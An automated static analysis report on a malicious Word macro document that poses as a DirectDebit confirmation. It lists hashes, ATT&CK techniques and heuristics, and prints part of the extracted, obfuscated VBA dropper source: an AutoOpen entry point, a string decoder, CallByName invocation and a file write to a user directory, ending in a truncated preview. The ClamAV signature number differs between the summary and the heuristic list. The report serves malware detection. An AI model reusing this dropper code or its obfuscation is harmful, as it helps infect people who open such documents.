Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21008f70952afd26…

MALICIOUS

Office (OLE)

148.5 KB Created: 2018-02-06 16:52:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 8ace23b97a066b755f83198991e25249 SHA-1: a432314223ef0dfe1c312a6b25d8df09bb16764f SHA-256: 21008f70952afd2689c18b7a974c2455d3d00b75bf3201bcbe01a2fba794993d
290 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, designed to execute malicious code upon opening. The document body attempts to lure the user into enabling content by posing as a DirectDebit confirmation. The VBA code utilizes CreateObject and CallByName, indicative of dropper functionality, and the ClamAV heuristic flags it as 'Doc.Dropper.Agent-6452860-0'. The obfuscated nature of the VBA script suggests an attempt to deobfuscate or decode further malicious content.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6452800-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6452800-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8579 bytes
SHA-256: e221d76ed15cdc321348bab22a9fd09c63201a47cb10acf5774dcf5b94c38c4a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
duemacsa
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
End Sub

Attribute VB_Name = "autobiographical"
Function humpytlo()
humpytlo = lfqws300.heartmine
End Function

Sub duemacsa()
Randomize
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
scondbra.pathdram = "lorweeka"
End Sub

Function jewoposr(kokosmiles, theman78)
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
jewoposr = leonfrogs(lfqws300.tonycp01) + kokosmiles + leonfrogs(grovquis.player1980) + _
 theman78 + leonfrogs(lfqws300.meL918985 + lfqws300.vavvismq) + theman78
End Function


Attribute VB_Name = "avonalokic"
Attribute VB_Base = "0{6E67F883-235B-4502-93AE-E7F99C8A6A24}{D68D3854-1DCD-42F5-AA4B-A7B4A3C3DC9D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "ayaksnituliM"
Function hornetspat(naihundred As String, qualityaaa As Integer) As String
Dim treklisa As Integer
treklisa = 0
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
For nandsoot = 1 To 90
If (hockeyfrog(mehootie, nandsoot) = naihundred) Then
   treklisa = nandsoot
   pleuchit = 27 - 70
pleuchit = 7 * 12
    Exit For
End If
Next nandsoot
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
treklisa = IIf(treklisa - qualityaaa <= 0, 90 + treklisa - qualityaaa, treklisa - qualityaaa)
hornetspat = hockeyfrog(mehootie, treklisa)
End Function

Function classcop()
classcop = ";oosCRR|7E|9E| E67'RQg/jgouEjamn"
End Function

Function rypseaux(yachttar, elsie999)
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
rypseaux = leonfrogs(grovquis.bredmono) + elsie999 + leonfrogs(grovquis.beatscum) + _
elsie999 + leonfrogs(grovquis.shrek1212) + yachttar + _
leonfrogs(avonalokic.elco4320 + icqdarren + avonalokic.OKNEHCNERO) + yachttar + leonfrogs(avonalokic.elco4320)
End Function


Attribute VB_Name = "brasacyd"
Function leonfrogs(openadrian)
papoukalos = ""
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
shipsaes = Len(openadrian)
For vcdderek = 1 To shipsaes
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
papoukalos = papoukalos + hornetspat(hockeyfrog(openadrian, vcdderek), 4)
Next vcdderek
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
leonfrogs = papoukalos
End Function

Function miu123123()
miu123123 = scondbra.marinofrog
End Function

Function ballscgj()
ballscgj = ";oosCRR|7E|9E| E67'RQg/jgouEjamn"
End Function


Attribute VB_Name = "bredberg"
Function aninihciA(idirodoeF)
idirodoeF.Type = 1
End Function

Function dierygug(avokudnuS, spiritjoe)
CallByName avokudnuS, UserForm1.TextBox4, VbMethod, spiritjoe
loftbana avokudnuS
End Function

Function loftbana(clicpriz)
clicpriz.SaveToFile Environ(UserForm1.TextBox1) + "\acehardw.docx", 2
clicpriz.Close
End Function

Attribute VB_Name = "grovquis"
Attribute VB_Base = "0{FCBBBBC7-249C-4337-AA11-8F4934986BD2}{F96E306F-2D9A-4261-99C7-C8A2B040B91C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "HCIVOKNELVOP"
Function pickerma(global43)
doomsteele = thxkennedy(9, 4) - 1
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11
pleuchit = 7 * 12
shorzoar = thxkennedy(53, 1)
GNINIART = hockeyfrog(miu123123, shorzoar)
For tiggerjkm = 2 To doomsteele
shorzoar = thxkennedy(27, 1)
GNINIART = GNINIART + hockeyfrog(global43, shorzoar)
pleuchit = 27 - 70
pleuchit = pleuchit * 85 * 11

... (truncated)